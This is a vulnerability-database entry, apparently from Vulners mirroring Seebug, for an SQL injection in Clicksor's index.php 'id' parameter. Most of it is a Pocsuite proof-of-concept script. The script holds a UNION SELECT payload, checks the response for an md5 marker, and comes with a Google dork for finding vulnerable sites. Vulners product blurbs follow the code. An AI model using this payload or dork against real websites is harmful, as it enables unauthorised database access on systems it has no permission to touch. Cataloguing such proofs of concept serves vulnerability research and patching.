Lucene search
K

Clicksor SQL Injecti0n Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

Clicksor SQL Injection Vulnerability, index.php?id parameter bypassing filter

Code

                                                #!/usr/bin/env python
# coding: utf-8

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

class TestPOC(POCBase):
    vulID = 'SSV-68525'  # vul ID
    version = '1'
    author = 'fenghh'
    vulDate = '2010-05-04'
    createDate = '2015-10-15'
    updateDate = '2015-10-15'
    references = ['http://sebug.net/vuldb/ssvid-19358']
    name = 'Clicksor SQL Injection Vulnerability'
    appPowerLink = 'www.clicksor.com'
    appName = 'Clicksor'
    appVersion = 'N/A'
    vulType = 'SQL Injection'
    desc = '''  
        google dock:" Powered by Clicksor.com Contextual Advertising".
        index.php?id参数导致过滤
    '''
    # the sample sites for examine
    samples = ['']

    def _verify(self):
        output = Output(self)
        result = {}
        payload = "/index.php?page=view&id=-511 UNION SELECT 1,md5(666),3,4,5,6,7,8--"
        verify_url = self.url + payload
        content = req.get(verify_url).content
        if 'fae0b27c451c728867a567e8c1bb4e53' in content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = verify_url
            output.success(result)
        else:
            output.fail('SQL Injection Failed')
        return output

    def _attack(self): 
        return self._verify()

register(TestPOC)
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation